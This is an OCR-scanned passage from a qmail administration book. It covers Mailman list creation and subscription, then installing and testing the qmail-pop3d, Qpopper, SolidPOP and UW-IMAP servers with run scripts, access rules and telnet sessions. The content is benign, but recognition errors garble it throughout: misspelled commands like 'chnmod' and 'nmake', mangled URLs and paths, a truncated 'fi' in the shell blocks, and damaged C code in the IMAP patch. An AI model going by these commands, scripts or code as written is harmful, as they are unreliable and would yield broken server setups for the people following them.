echo ' &pop-fans-adnm n' >~alias/.qgmail - pop-fans- owner
chnmod 644 ~alias/.qmail -pop-fans ~alias/.gmail -pop-fans-adm n
chnmod 644 ~ali as/.qmail - pop-fans-request -~alias/.qgmail-pop-fans-owner
chnmod 644 -~ali as/. qmail - owner - pop-f ans

HFHHIFHHFEHYV HYV HV

The newlist command sends amessage to the list owner, dave@example.com in this example. The message
containsingructionsfor thelist owner:

The mailing list “pop-fans' has just been created for you. The
following is some basic information about your mailing list.
Your mailing list password is:

sonepassword
You need this password to configure your mailing list. You al so need

it to handl e adm nistrative requests, such as approving nmail if you
choose to run a noderated |ist.



You can configure your nailing list at the followi ng web page:
http://exanpl e. conf mai | man/ adm n/ pop- f ans

The web page for users of your nailing list is:
http://exanpl e.confmail man/1i stinfo/ pop-fans

You can even custonize these web pages fromthe list configuration
page. However, you do need to know HTM. to be able to do this.

There is also an enmil-based interface for users (not administrators)
of your list; you can get info about using it by sending a nessage
with just the word “help' as subject or in the body, to:

pop-f ans-request @xanpl e. com
To unsubscribe a user: fromthe mailing list '"listinfo' web page,
click on or enter the user's email address as if you were that user
Where that user would put in their password to unsubscribe, put in
your admi n password. You can al so use your password to change
menber's options, including digestification, delivery disabling, etc.

Pl ease address all questions to nail man- owner @xanpl e. com
4.

Vigt the user's URL supplied, http://example.com/ymallman/listinfo/pop-fans in thisexample, usng aWeb
browser and subscribeto thelist. A confirmation message will be sent to the address entered. For example:

Pop-f ans confirmation of subscription request 957336

We have received a request from 192.168.1.6 for subscription of your
emai | address, <dave@xanple.conk, to the pop-fans@xanpl e.com
mailing list. To confirmthe request, please send a nessage to

pop- f ans-request @xanpl e. com and either

- maintain the subject line as is (the reply's additional "Re:" is
ok),
- or include the following line - and only the following line - in the

message body:

confirm 957336

(Sinmply sending a 'reply' to this nessage should work from nost enmi
interfaces, since that usually | eaves the subject line in the right

form)

If you do not wish to subscribe to this list, please sinply disregard
this message. Send questions to pop-fans-adm n@xanpl e. com

5.

Send a message to pop-fans-request to confirm the subscription:

$ (echo to: pop-fans-request @xanpl e.com echo; echo "confirm 957336") \
> | /var/gmail/bin/qgmail-inject
$


http://example.com/mailman/listinfo/pop-fans
http://example.com/mailman/admin/pop-fans
http://example.com/mailman/listinfo/pop-fans
http://example.com/mailman/listinfo/pop-fans

In response, the subscriber should receive awel come message Sarting likethis:

Wel conme to the Pop-fans@xanple.comnmailing |ist!
To post to this list, send your email to:

pop- f ans@xanpl e. com
Ceneral information about the nmailing list is at:

http://exanpl e. conf nai |l man/ | i sti nfo/ pop-fans

6.
Findly, send amessage to the list address, pop-fans@example.com, and verify that it's received by the
subscriber(s).
$ (echo to: pop-fans@xanpl e.com echo; echo testing. . .)
> | /var/gmail/bin/qgmail-inject

$

Note
Mailman will rgject the messageif the
sender doesn't appear to be subscribed
tothelist. If that happens, set the From
field to the address subscribed to the
list.

Subscribing to Mailman Lists

Steps 4 through 6 of " Cresting Mailing Lisiswith Malman™ show the Web-initiated subscription process. The
process can aso be initiated by sending a subscribe command to the listname-request@domain address. For
exanple

(echo to: pop-fans@xanpl e.com echo; echo subscri be)
I

$
> | /var/gmail/bin/qgmail-inject
$

Mailman will send back a confirmation request like the oneit sends for Web-initiated requests.
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Using Other MLMs

Other Unix MLMs, such as L-Soft's LISTSERV (http:/mww.lsoft.com) and Listar (http:/Mmww.ligar.org), have
been made to work with gmail. Some, including Listar, document their ingtdlation under gmail. Before trying to figure
out how to do it yoursdlf, you should look for existing documentation on the processfirdt. Likely sources of
informationinclude

The MLM'singdlation documentation.

Archives of the gmail mailing list. (See Chapter 1, "Introducing gmail.”)

Third-party Web-based documentation. Use your favorite search engine to search for documents containing
both "gmail" and the name of the MLM you'retrying toingall.

If that search isfruitless, you might want to figure it out on your own-or switch to another MLM such asthose
documented in this chapter.

MLMs perform two mgor functions: maintaining lists and sending messages to subscribers-usudly throughthe MTA.
Therefore, configuring an MLM to run under gmail will require configuring both functions. The next sections describe
some generd drategiesfor configuring MLMs under gmall.

ThelList Maintenance Function

Generdly, MLMs accept commands sent either to agenerd address (for all lists on the host) or to alist-specific
address (for asinglelist). For example, with Mg ordomo, commands can be sent to mgjordomo@domain or to
listhame-request@domain. Mail sent to these addressesis usually delivered to a program provided by the MLM.
Configuring an MLM's command interface with gmail isusudly just ametter of determining how the MLM program
expectsto be invoked and setting up dot-gmail filesto invoke it on the appropriate address. The gmail-usersfacility
documented in Chapter 4, "Using gmail," isuseful becauseit provides direct control over thelocation of the
dot-gmail files and the user and group under which the ddlivery takes place,

The Resending Function

The second mgjor MLM function is accepting messagesfor ligts, vaidating them, if necessary, and resending them to
the subscribers. The reddivery itsdlf isalmost aways passed off to the MTA rather than handled directly by the


http://www.lsoft.com
http://www.listar.org
http://www.lsoft.com
http://www.listar.org

MLM. The two most common methods for handing delivery to the MTA are Sendmail-style loca injection and
SMTPinjection. gmail's sendmail command should be sufficiently Sendmail-compatible to work trangparently with
MLMs, and gmail's SMTP service should work with any compliant MLM. Make sureyour SMTP serviceis
configured to alow theloca host to relay (see Chapter 3, "Configuring gmail: TheBadics').

If, however, the MLM's SMTPis non-compliant in such away that it can't successfully inject its messages, you might
haveto fix it by modifying the MLM source code or by setting up a speciad SMTP service that accommodates the
MLM'squirks.

Or, if the MLM cdlssendmall in away that's incompatible with gmail's sendmail wrapper, you might have to modify
the MLM source code or write your own gmail-inject-based sendmail.

If you can coercethe MLM into providing the list of subscribers, one per line, you can aways send the message
directly usng gmail-inject.
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Conclusion

In this chapter you learned how to manage mailing lists usng ezmlm, ezmim-idx, Mg ordomo, and Malman. You
learned the mgjor features of each of these MLMSs, aswell as how to ingall them under gmail and how to create lists
with them. Y ou aso learned generd dtrategiesfor configuring other MLMs under gmail.

In Chapter 10, "Serving Mailboxes," you'll learn how to serve mailboxesfrom agmail server over the network to
Mail User Agents (MUAS) using POP3 (Post Office Protocol 3) and IMAP (Internet Mail Access Protocol).
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Chapter 10: Serving Mailboxes

Highlights

Simple mail transfer protocol (SMTP) transfers mail between servers and sends (injects) new messages, but it's not
well suited to client systemsthat want to retrieve mail because it wasn't designed for that. Two protocols designed to
alow clientsto access and retrieve mail remotely are the Post Office Protocol (POP) and the Internet Mail Access
Protocol (IMAP).

POP, the current version of which is POP3, was designed specificaly for providing clients access to their mailboxes.
Although it's possible to configure POP3 clients to store the user's mailbox on the server, it's usually used only to
serve unread messages. In this case, the user's primary mailbox resides on the system that runsthe Mail User Agent
(MUA). This chapter uses POP and POP3 somewhat interchangeably because the earlier versions are obsolete and
rarely encountered.

IMAP isanewer, more advanced-and more complex-protocol designed to provide remote access to amailbox that
resides on the server.

Both POP3 and IMAP are widdly implemented in MUASs including Eudora, Netscape, Mutt, and Outlook Express.

Whether you choose to support POP3, IMAP, both, or neither depends on many factors, including:
Do you want or need remote access to mailboxes?

Centralized mailbox storage (IMAP) alows easy backups.

Centralized mailbox storage requires more centralized resources and creates a potentia
sngle-point-of-failure.

Centrdized mailbox storage alows access to amailbox from any client system.



Centrdized mailbox storage dlows aternative access mechanisms such as Web mail (aWeb-based MUA).

MUAs must support the protocols deployed and vice versa

gmail includes a POP server, gmail-pop3d, but it's not configured and activated as part of the gmail ingtalation
process. Y ou can also use one of the other POP or IMAP servers available; however, some of them were written for
Sendmail and require some reconfiguration to use with gmail.
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Overview

This chapter coversthe ingtdlation and configuration of POP3 and IMAP serversfor gmail systems:

First, welll present gmail-pop3d, the POP3 server bundled with gmail.

Next, well look at two add-on POP3 servers. Qpopper and SolidPOP.

Then, wéelll cover two IMAP servers: the University of Washington IMAP server (UW-IMAP) and
Courier-IMAP.

Next, well show how to increase the security of your POP3 and IMAP services using secure authentication
and encryption.

Findly, because we're taking about POP3 and IMAP in this chapter, we'll look at a couple of POP3 and
IMAP clients.
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|nstalling and Using POP3 Servers

gmail includes its own POP3 server, gmail-pop3d. Well cover ingtalling and configuring gmail-pop3d aswell astwo
add-on POP3 servers. Qpopper and Solid POP.

Using gmail-pop3d

gmail-pop3d isthe POP server included with gmail. 1t's an excellent POP server, and many gmail Stesuseit. It's
modular, and it supports multiple authentication schemes via dternative authentication modules.

gmail-pop3d only supports maildir-format mailboxes. If you have userslogging directly into the POP server and
running MUAs locdly, the MUAs must dl support maildirs. If al of your usersread mail exclusvely via POP or
IMAP, the mailbox format on the server isinvisbleto their MUAs.

Ar chitecture of gmail-pop3d

A gmail-pop3d server conssts of three modules:

gmail-popup gets username/password
checkpassword authenti cates username/password

gmail-pop3d the POP daemon itsdlf

Typicaly, gmail-popup isrun viatcpserver, inetd, or xinetd, listening to port 110, the POP3 port. WWhen a connection
iIsmade, it prompts for the username and password. Then it invokes checkpassword, which validates the username
and password and invokes gmail-pop3d if they match.

I nstalling gmail-pop3d

gmail-pop3d has no additiona requirements beyond those necessary for building and ingaling gmail:

1.



Completdy ingtall and test gmail. If you want al usersto have POP retrievable mailboxes, make sure
defaultdelivery isset to /Maildir/. If you installed the /var/gmail/rc/ script from Chapter 2, "Indgaling gmall,
thisis configured in /var/gmail/control/defaultddivery. If not, it's probably in /var/gmail/rc/ on the gmail-start
commandline.

Download a checkpassword program from http://www.gmail .org/top.html#checkpasswvord. The standard
check-password program, available from http://cr.yp.to/checkpwd.html, isagood choiceif you don't need
anything beyond standard /etc/passwd username/password authenti cation.

Compile and ingtall the checkpassword program according to the directions. Make sureyou ingdl it as
/bin/checkpassword. For example, at the time of thiswriting, the current version of checkpassword is 0.90.
Toinddl it, dothis:

$ gunzip -c checkpassword-0.90.tar.gz | tar xf -
$ cd checkpassword-0. 90
$ make
...lots of output ending with sonething like:
./load install hier.o auto_hone.o unix.a byte.a
./ conmpil e instcheck.c
./l1oad instcheck hier.o auto_home.o unix.a byte.a

$ su
Password: rootpassword
# umask 022
# make setup check
./install
./instcheck
#
4.

Create the /var/gmail/supervise/gmail-pop3d directory and the log subdirectory:

# nkdir -p /var/gmail/supervise/gmail -pop3d/| og

Create a/var/gmail/supervise/gmail-pop3d/run script:

#!'/ bi n/ sh
MAXPOP3D=' head -1 /var/qgmail/control/concurrencypop3'
exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D" \
0 110 /var/gmail/bin/ gmail -popup FCQDN /bin/checkpassword \
[var/qmail/bin/gmail-pop3d Mildir 2>&1

where FQDN isthefully qudified domain name of the POP server you're setting up for example, pop.example.net.


http://www.qmail.org/top.html#checkpassword
http://cr.yp.to/checkpwd.html
http://www.qmail.org/top.html#checkpassword
http://cr.yp.to/checkpwd.html

Note
concurrencypop3 isanonstandard
control file. Only the previous
pop3d/run script usesit. Thefirst line
of thefile should contain anumber,
which isthe maximum number of
smultaneous POP3 sessions that
tcpserver dlows.

6.
Create a/var/gmail/supervise/gmail-pop3d/log/run script containing this:
#!/bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog t \

[var/ 1 og/ gmail / pop3d

Create /var/gmail/control/concurrencypop3, limiting simultaneous POP3 connections to 20:

# echo 20 > /var/qgmail/control/concurrencypop3

#
8.
Create the POP3 access database. Thefile /etc/tcp.pop3 is the human-readable version of the POP3 access
database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Ingdlinggmal .
The tcprules command is used to convert the human-readable version into a machine-readable version,
/etc/tep.pop3.cdb. For example, to restrict access to hosts on the local network, 192.168.x.x, and the local
host, you would create /etc/tcp.pop3, using your text editor, containing this:
192.168. : al | ow
127.:al | ow
: deny
9.
Set up the log directory and permissions on the run scripts and link the service into /service:
# chnmod +t /var/qgnuail/supervise/ qmail - pop3d
# nkdir /var/log/qnail/pop3d
# chown gnaill /var/| og/qmail/ pop3d
# chnod 755 /var/ qmail / supervi se/ qnai | - pop3d/run
# chnmod 755 /var/ qnail / supervi se/ qmai | - pop3d/ 1 og/ run
# 1n -s /var/qgmail/supervise/gmail - pop3d /service
#

10.

Add thefollowing to gmailctl's start section:



if svok /service/gmail-pop3d ; then
svc -u /service/qmil-pop3d
el se
echo gnmai | - pop3d supervi se not running
f

11.

Add the following to gmailctl's stop section:

echo " qmail - pop3d"
svc -d /service/qgnail -pop3d

12.

Add the following to gmailctl's stat section:

svstat /service/qgnail-pop3d
svstat /service/qgnmail-pop3d/log

13.

Add the following to gmailctl's pause section:

echo "Pausing gmail - pop3d"
svc -p /service/qgmail-pop3d

14.

Add the following to gmailctl's cont section:

echo "Continuing gmail - pop3d"
svc -c /service/qgmail -pop3d

15.

Add thefollowing to gmailctl's restart section:

echo "* Restarting gmail-pop3d.”
svc -t /service/qmail-pop3d

16.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp. pop3.cdb /etc/tcp.pop3.tnp < /etc/tcp. pop3
chnod 644 /etc/tcp. pop3. cdb
echo "Rel oaded /etc/tcp. pop3."

17.

Build /etc/tep.pop3.cdb:



# gmailctl cdb
Rel oaded /etc/tcp.smp
Rel oaded /etc/tcp. pop3.
#

Testing the gmail-pop3d Service

At this point, your POP3 service should be up and running. Y ou can test it by connecting to the POP3 port on the
loca system and logging in asanormd mail user:

1 $ telnet 0 110

2 Trying 0.0.0.0.

3 Connected to O.

4 Escape character is '""]'.
5 +0K <2922. 992703469 @QDN>
6 user dave

7 +OK

8 pass flubgart

9 +OK 10 i st

11 +K

12 1 570

13 2 2556

14 3 4346

15 .

16 quit

17 +OK

18 Connection cl osed by foreign host.
19 $

Line 1 isthetelnet command used to connect to the POP3 service. The O (zero) refersto the loca host, and 110 is
the POP3 port number.

Line 2 showstelnet trying to connect.
Line 3 shows that the connection was established.

Line 4 istelnet reminding the user that they can "escape” to the telnet prompt by holding the Control key and pressing
the right square bracket key (]).

Line 5 isthe banner message from gmail-popup. The <2922.992703469@FQDN> is an authentication "cookie" that
would be used by an MUA doing APOP authentication (see " Securing POP" section later in this chapter).

Lines 6 though 9 are the authentication exchange. Because the authenti cation was reported as successful by
checkpassword, asindicated by the +OK on line 9, gmail-popup runs gmail-pop3d to handle the remainder of the
didogue.



Lines 10 though 15 show the user using the POP3 LIST command to display alist of messages available, followed
by gmail-pop3d's response: alist of three message numbers and their sizes, in bytes.

Lines 16 and 17 show the user ending the POP3 session.
Line 18 istelnet reporting that gmail-pop3d closed the connection.

The next step isto test the service remotely using a POP-enabled MUA.

Using Qpopper

Qualcomm, the company that created the popular EudoraMUA, aso distributes a POP3 server called Qpopper. If
you need a POP daemon that works only with mbox-format mailboxes, you might want to consder Qpopper.

More information about Qpopper is available on the Web (http://www.eudora.com/qpopper/).

I nstalling Qpopper

Qpopper has no additiond requirements beyond those necessary for building and ingaling gmail:
1

Download the source tarball. At the time of thiswriting, the current verson is4.0.3. For example, using the
lynx browser:

$ lynx -dunp \
ftp://ftp.qual comm com eudora/ servers/ uni x/ popper/ gpopper4.0.3.tar.gz > \
gpopper4.0.3.tar.gz
$

Unpack the tarball and change to the build directory:

$ gunzip -c qpopper4.0.3.tar.gz | tar xf -
$ cd gpopper4.0.3
$

Configure Qpopper to look for mbox mailboxesin SHOME/Mailbox, for example:

$ ./configure enable-hone-dir-nail=Mil box
...lots of output ending with sonething like:
creating mrangl e/ Makefile


http://www.eudora.com/qpopper/
http://www.eudora.com/qpopper/
ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper4.0.3.tar.gz 

creating password/ Makefil e
creating config.h
$

Compile Qpopper:

$ nmake

...lots of output ending with sonething like:
-lcrypt

../ common/libcomon. a(nmaillock.o0): In function 'Qmill ock':
lusr/ 1l ocal/src/gpopper4. 0.3/ common/ maill ock.c:278: the use of 'tenpnam is
danger ous, better use 'nkstenp'
make[ 1]: Leaving directory '/usr/local/src/qgpopper4. 0.3/ popper'
$

Ingdl the binaries.

$ su
Password: rootpassword
# umask 022
# make install
...lots of output ending with something |ike:
echo "Install ed popauth as /usr/local/sbin/ "\

"with uid "; \
/usr/local/sbin/ -init -safe; \

f
make[ 1]: Leaving directory '/usr/local/src/qgpopper4. 0.3/ popper'
#

Create the /var/gmail/supervise/gpopper directory and the log subdirectory:

# nkdir -p /var/qgnmail/supervise/ gpopper/Iog

Create a/var/gmail/supervise/gpopper/run script:

#!'/ bi n/ sh
MAXPOP3D=' head -1 /var/gmail/control/concurrencypop3'
exec /usr/local/bin/tcpserver -R -H -x [/etc/tcp. pop3.cdb -c "$MAXPOP3D" \
0 110 /usr/ Il ocal/sbin/ popper 2>&1



Note
concurrencypop3 isanonstandard
control file. Only the previous
gpopper/run script usesit. Thefirg line
of thefile should contain anumber,
which isthe maximum number of
smultaneous POP3 sessions that
tcpserver dlows.

8.
Create a/var/gmail/supervise/gpopper/log/run script containing this:
#!/bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog t \

[ var /| og/ qpopper

Create /var/gmail/control/concurrencypop3, limiting POP3 connectionsto 20:

# echo 20 > /var/qmail/control/concurrencypop3

10.

Create the POP3 access database. Thefile /etc/tcp.pop3 is the human-readable version of the POP3 access
database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Ingdlinggmal .
The tcprules command is used to convert the human-readable version into a machine-readable version,
/etc/tep.pop3.cdb. For example, to restrict access to hosts on the local network, 192.168.x.x, and the local
host, you would create /etc/tcp.pop3, using your text editor, containing this:

192.168.:al |l ow
127.:al | ow
: deny

11.

Set up the log directory and permissions on the run scripts, and link the service into /service:

# chnod +t /var/gmail / supervi se/ gpopper
nkdi r /var/| og/ gpopper
chown qgnuaill /var/| og/ gpopper
chnod 755 /var/qmail / supervi se/ gpopper/run
chnmod 755 /var/ qmai | / supervi se/ qpopper /1 og/run
In -s /var/qmail/supervi se/ gpopper /service

HoHHHFHH

12.

Add thefollowing to gmailctl's start section:



i f svok /service/qgpopper ; then
svc -u /service/ gpopper
el se
echo gpopper supervise not running
f

13.

Add the following to gmailctl's stop section:

echo " qgpopper”
svc -d /servicel qpopper

14.

Add the following to gmailctl's stat section:

svstat /servicel/ qpopper
svstat /service/gpopper/|og

15.

Add the following to gmailctl's pause section:

echo "Pausi ng gpopper”
svc -p /servicel/ qpopper

16.

Add the following to gmailctl's cont section:

echo "Conti nui ng gpopper"
svc -c /servicel gpopper

17.

Add thefollowing to gmailctl's restart section:

echo "* Restarting gpopper."”
svc -t /servicel gpopper

18.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp. pop3.cdb /etc/tcp.pop3.tnp < /etc/tcp. pop3
chnod 644 /etc/tcp. pop3. cdb
echo "Rel oaded /etc/tcp. pop3."

19.

Build /etc/tep.pop3.cdb:



# gmailctl cdb
Rel oaded /etc/tcp.smp
Rel oaded /etc/tcp. pop3.
#

Testing the Qpopper Service

At this point, your POP3 service should be up and running. Y ou can test it by connecting to the POP3 port on the
loca system and logging in asanormd mail user:

1 $ telnet 0 110

2 Trying 0.0.0.0.

3 Connected to O.

4 Escape character is '"]'

5 +OK Qpopper (version 4.0.3) at dol phin.exanple.comstarting.
6 user dave

7 +OK Password required for dave.

8 pass flubgart

9 +CK dave has 1 visible nmessage (0 hidden) in 1088 octets.
10 |ist

11 +OK 1 visible nmessages (1088 octets)

12 1 1088

13

14

15

16

17

quit

+OK Pop server at dol phin. exanpl e. com si gning of f.
Connection closed by foreign host.

$

Line 1 isthe telnet command used to connect to the POP3 service. The O (zero) refersto the local host, and 110 is
the POP3 port number.

Line 2 showstelnet trying to connect.
Line 3 shows that the connection was established.

Line 4 istelnet reminding the user that they can "escape” to the telnet prompt by holding the Control key and pressing
theright square bracket key (]).

Line5 isthe banner message from Qpopper.
Lines 6 though 9 are the authentication exchange.

Lines 10 though 13 show the user using the POP3 LIST command to display alist of messages available, followed
by Qpopper's response: alist of one message and its size, in bytes.



Lines 14 and 15 show the user ending the POP3 session.
Line 16 istelnet reporting that Qpopper closed the connection.

The next step isto test the service remotely using a POP-enabled MUA.
Using SolidPOP

The SolidPOP server supports both maildir and mbox mailboxes, as well as APOP authentication (see " Securing
POP3" later in this chapter) and virtua domains. More information about SolidPOP is available on the Web (

http://solidpop3d.pld.org.pl/).

Installing SolidPOP

SolidPOP has no additiona requirements beyond those necessary for building and ingtdling gmail.:
1

Download the sourcetarbal. At thetime of thiswriting, the current version is0.15. For example, using the
lynx Web browser:

$ lynx -dunmp http://solidpop3d.pld.org.pl/solid-pop3d-0.15.tar.gz >\
> sol i d-pop3d-0.15.tar. gz
$

Unpack the tarball and moveto the build directory:

$ gunzip -c solid-pop3d-0.15.tar.gz | tar xf -
$ cd solid-pop3d-0.15
$

Configure SolidPOPfor building:

$ ./configure
...lots of output ending with sonething |ike:
creating man/ Makefil e
creating src/ Makefile
creating config.h
$


http://solidpop3d.pld.org.pl/
http://solidpop3d.pld.org.pl/
http://solidpop3d.pld.org.pl/solid-pop3d-0.15.tar.gz 

Tip
Seethe README filefor alist of
configurable options. For example,
adding enable-bulletins adds support
for system-wide announcements. Other
options add support for extended
logging, atitics, automatic mailbox
cregtion, and more.

Compile SolidPOP:

$ nmake
...lots of output ending with sonething like:
gcc -g -2 -0 spop3d authenticate.o cnds.o log.o fdfgets.o naildrop.o main.o nd5
.0 NMenops. o options.o response.o vsnprintf.o mailbox.o nmaildir.o userconfig.o
configfile.o -lcrypt
make[ 1] : Leaving directory '/usr/local/src/solid-pop3d-0.15/src
$

Create an spop3d account and ingtdl the binaries:

$ su
Password: rootpassword
# umask 022
# useradd -d /nonexistent -s /nonexistent -M spop3d
# make install
...lots of output ending with sonething like:
/bin/sh ../nkinstalldirs /usr/local/bin
/bin/sh ../nkinstalldirs /usr/local/sbhin
/usr/bin/install -c spop3d /usr/local/sbin/spop3d
make[ 1] : Leaving directory '/usr/local/src/solid-pop3d-0.15/src
#

Create the /var/gmail/supervise/spop3d directory and the log subdirectory:

# nkdir -p /var/gmail/supervise/spop3d/| og

Create a/var/gmail/supervise/spop3d/run script:

#!'/ bi n/ sh
MAXPOP3D=' head -1 /var/gmail/control/concurrencypop3'
exec /usr/local/bin/tcpserver -R -H -x [etc/tcp. pop3.cdb -c "$MAXPOP3D" \
0 110 /usr/local/sbin/spop3d 2>&1



Note
concurrencypop3 isanonstandard
control file. Only the previous
spop3d/run script usesit. Thefirgt line
of thefile should contain anumber,
which isthe maximum number of
smultaneous POP3 sessions that
tcpserver dlows.

Create a/var/gmail/supervise/spop3d/l og/run script containing:

#!/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog t \
/ var /| og/ qpopper

Create /var/gmail/control/concurrencypop3, limiting POP3 connectionsto 20:

# echo 20 > /var/qgmail/control/concurrencypop3

10.

Create the POP3 access database. Thefile /etc/tcp.pop3 is the humanreadable version of the POP3 access
database. It's analogous to the SM TP access database in /etc/tcp.smtp set up in Chapter 2, "Ingdlinggmal .
The tcprules command is used to convert the human-readable version into a machine-readable version,
/etc/tep.pop3.cdb. For example, restrict access to hosts on the local network, 192.168.x.x, and the local
host, you would create /etc/tcp.pop3, using your text editor, containing this:

192.168.:al |l ow
127.:al | ow
: deny

11.

Set up the log directory and permissions on the run scripts, and link the service into /service:

# chnmod +t /var/gnail/ supervise/ spop3d
nkdi r /var/| og/ spop3d
chown gnaill /var/|l og/ spop3d
chnmod 755 /var/ qmai |l / supervi se/ spop3d/run
chnod 755 /var/qmail/supervi se/ spop3d/ | og/run
In -s /var/qgnail/supervisel/ spop3d /service

HoHHHFHH

12.

Create agloba SolidPOP configuration file specifying the default location and format of mailboxes. For
example, for maildir mailboxesin $HOME/Maildir, creete the file /usr/local/etc/spop3d.conf with the
following contents:



<d obal >
Mai | Dr opNane Mai | di r
Mai | DropType mai | dir
</ d obal >

13.

Add thefollowing to gmailctl's start section:

i f svok /service/spop3d ; then
svc -u /service/spop3d
el se
echo spop3d supervi se not running
f

14.

Add thefollowing to gmailctl's stop section:

echo " spop3d"
svc -d /servicel/spop3d

15.

Add thefollowing to gmailctl's stat section:

svstat /service/spop3d
svstat /service/spop3d/|og

16.

Add thefollowing to gmailctl's pause section:

echo "Pausing spop3d"
svc -p /servicel/spop3d

17.

Add the following to gmailctl's cont section:

echo "Continui ng spop3d"
svc -c /servicel/spop3d

18.

Add thefollowing to gmailctl's restart section:

echo "* Restarting spop3d.”
svc -t /service/spop3d



19.

Add thefollowing to gmailctl's cdb section:

tcprules /etc/tcp. pop3.cdb /etc/tcp.pop3.tnmp < /etc/tcp. pop3
chnod 644 /etc/tcp. pop3. cdb
echo "Rel oaded /etc/tcp. pop3."

20.

Build /etc/tep.pop3.cdb:

# gmailctl cdb
Rel oaded /etc/tcp.smp
Rel oaded /etc/tcp. pop3.
#

Testing the SolidPOP Service

At this point, your POP3 service should be up and running. Y ou can test it by connecting to the POP3 port on the
loca system and logging in asanormd mail user:

1 $ telnet 0 110

2 Trying 0.0.0.0.

3 Connected to O.

4 Escape character is '""]'.

5 +OK Solid POP3 server ready
6 user dave

7 +OK usernane accepted

8 pass flubgart

9 +CK aut hentication successfu
10 i st

11 +OK scan listing fol |l ows

12 1 581

13 2 2620

14 3 4459

15
16
17
18
19

quit

+OK session ended

Connection closed by foreign host.
$

Line 1 isthe telnet command used to connect to the POP3 service. The O (zero) refersto the loca host, and 110 is
the POP3 port number.

Line 2 showstelnet trying to connect.
Line 3 shows that the connection was established.

Line 4 istelnet reminding the user that they can "escape” to the telnet prompt by holding the Control key and pressing



theright square bracket key (]).

Line5 isthe banner message from SolidPOP.

Lines 6 though 9 are the authentication exchange.

Lines 10 though 15 show the user using the POP3 LIST command to display alist of messages available, followed
by SolidPOP'sresponse: alist of three messages and their Size, in bytes.

Lines 16 and 17 show the user ending the POP3 session.

Line 18 istelnet reporting that SolidPOP closed the connection.

The next step isto test the service remotely using a POP-enabled MUA.
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Installing and Using IMAP Servers

gmail doesn't include an IMAP server, but afew add-on IMAP servers either can be made to work with gmail or
were designed to work with gmail. Well look at two add-on IMAP servers: UW-IMAP and Courier-IMAP.

Using University of Washington IMAP

IMAP originated at the University of Washington, which distributesits own IMAP server. The UW-IMAP server
doesn't support maildir mailboxes as distributed, but patches are available to add that functiondity. See the unofficia
gmail home page (http:/Aww.gmail.org/) for links to the patches for the current UW-IMAP release.

More information about UW-IMAP is available on the Web (http:/Amww.washington.edu/imag/).

Installing UW-IMAP with Maildir Support

UW-IMAP has no additiona requirements beyond those necessary for building and ingtaling gmail:
1
Download the UW-IMAP tarball and the maildir patch. At thetime of thiswriting, IMAP-2000c isthe latest

non-beta UW-IMAP release, and the associated maildir patch is available from
http:/Aww.greboguru.org/gmail/. For example, using the lynx Web browser:

$ lynx -dunp ftp://ftp.cac.washington. edu/imap/ol d/imp-2000c.tar.Z >\
i map-2000c.tar.Z
| ynx -dont_wrap_pre -dunp \
http://ww. greboguru. org/ gmai | /uw_i map_big_qmail _0. 1. patch >\
uw_i map_bi g gmail 0. 1. patch

“ VvV VeV

Unpack the UW-IMAP tarbal and ingtdl the maildir patch:

$ zcat imap-2000c.tar.Z | tar xf -
$ cd i map-2000c
$ patch -F3 -pl < ../uw_imap_big_gmail _0. 1. patch
patching file READVE. mail dir
patching file src/c-client/nmail.c
Hunk #1 succeeded at 629 with fuzz 3.
Hunk #2 FAI LED at 638.
1 out of 2 hunks FAILED - saving rejects to file src/c-client/mail.c.rej
patching file src/c-client/mil.h


http://www.qmail.org/
http://www.washington.edu/imap/
http://www.greboguru.org/qmail/
http://www.qmail.org/
http://www.washington.edu/imap/
http://www.greboguru.org/qmail/
ftp://ftp.cac.washington.edu/imap/old/imap-2000c.tar.Z 
http://www.greboguru.org/qmail/uw_imap_big_qmail_0.1.patch 

Hunk #1 succeeded at 655 with fuzz 3.
patching file src/osdep/uni x/ Makefile
patching file src/osdep/unix/env_uniXx.c
Hunk #1 succeeded at 428 with fuzz 3.
Hunk #2 succeeded at 584 with fuzz 1.
Hunk #3 succeeded at 666 with fuzz 3.
Hunk #4 succeeded at 768 with fuzz 3.
patching file src/osdep/unix/mildir.c
patching file src/osdep/unix/mildir.h

$
3.
If one of the hunksfailsto apply, as previoudy, gpply it manudly. In this case, edit src/c-client/mail.c and
replace this block of code, starting on line 641:
else for (d = maildrivers; d; d = d->next)
if (d->scan && !((d->flags & DR DI SABLE) |
((d->flags & DR LOCAL) && renpte)))
(d->scan) (NL,ref,pat,contents);
with thisblock of code:
el se {

only maildir = ((inbox_driver = mail_valid (NIL," INBOX",NIL)) &&
I'strcnp(i nbox_driver->name,” nmaildir"));
do if (!((d->flags & DR DI SABLE) |
((d->flags & DR LOCAL) && renote) || (only_maildir &% strcnp(d->
name, "maildir"))))
(d->list) (NL,ref,pat);

while (d = d->next); /* until at the end */
}
4.

Compile UW-IMAP. Read the Makefile to determine the appropriate target for your operating system. For
example, for Red Hat 7.1 using shadow passwords, it's dx:
$ nmake sl x

...lots of output ending with sonething like:

‘cat ../c-client/CCTYPE -I|../c-client 'cat ../c-client/

CFLAGS

- DANOFI LE=\ "/ et ¢/ anonynous. newsgr oups\" -DALERTFILE=\"/etc/imapd. al ert\"

- DUSERALERTFI LE=\". i mapal ert\" -o imapd imapd.o ../c-client/c-client.a' cat ../
c-client/LDFLAGS

make[ 2] : Leaving directory '/usr/local/src/imp-2000c/i mapd'

make[ 1]: Leaving directory '/usr/local/src/imp-2000c

$

With someversons of Linux, the makewill fail with errorslikethis;

'cat CCTYPE' -c¢ 'cat CFLAGS 'cat OSCFLAGS

-c osdep.c
In file included from osdep.c: 42:



env_unix.c: In function 'do_date':

env_uni X. c: 296: warning: initialization nakes pointer frominteger w thout
env_uni x. c: 297: dereferencing pointer to inconplete type

env_uni x. c: 297: dereferencing pointer to inconplete type

env_uni x. c: 298: dereferencing pointer to inconplete type

Thisis because of an incompatibility with the glibc package. The workaround isto replace lineslikethis:

#i ncl ude <sys/time. h>

withthis

